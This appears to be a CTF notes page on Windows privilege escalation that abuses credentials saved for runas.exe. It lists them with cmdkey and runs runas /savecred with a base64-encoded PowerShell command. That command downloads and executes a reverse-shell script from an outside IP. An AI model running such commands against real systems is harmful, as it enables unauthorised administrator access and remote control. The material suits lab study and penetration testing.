> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/windows-privilege-escalation/runas.exe.md).
# runas.exe
## Runas stored credentials
To check for stored credentials
```bat
cmdkey /list
```
Example run
```bat
PS C:\Users\Public\Desktop> cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
```
Example usage with PowerShell -EncodedCommand with a reverse shell
```batch
runas.exe /user:Administrator /savecred "powershell.exe -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AbgBpAHMAaABhAG4AZwBfAHMAaABlAGwAbAAyAC4AcABzADEAJwApAA=="
```
{% hint style="info" %}
**NOTE**\
Due to the fact that runas spawns a new shell to execute the command, we cannot see the output in the current shell. Use a reverse shell or redirect output to a file!
If we have GUI access, lets say from an RDP session, then we can just spawn a new shell such as a cmd prompt.
{% endhint %}
## Resources
cmdkey - Microsoft Learn:
runas - Microsoft Learn:
RunAs – Windows Privilege Escalation - Juggernaut Pentesting Academy:
Windows Privilege Escalation – Runas (Stored Credentials) - Steflan Security: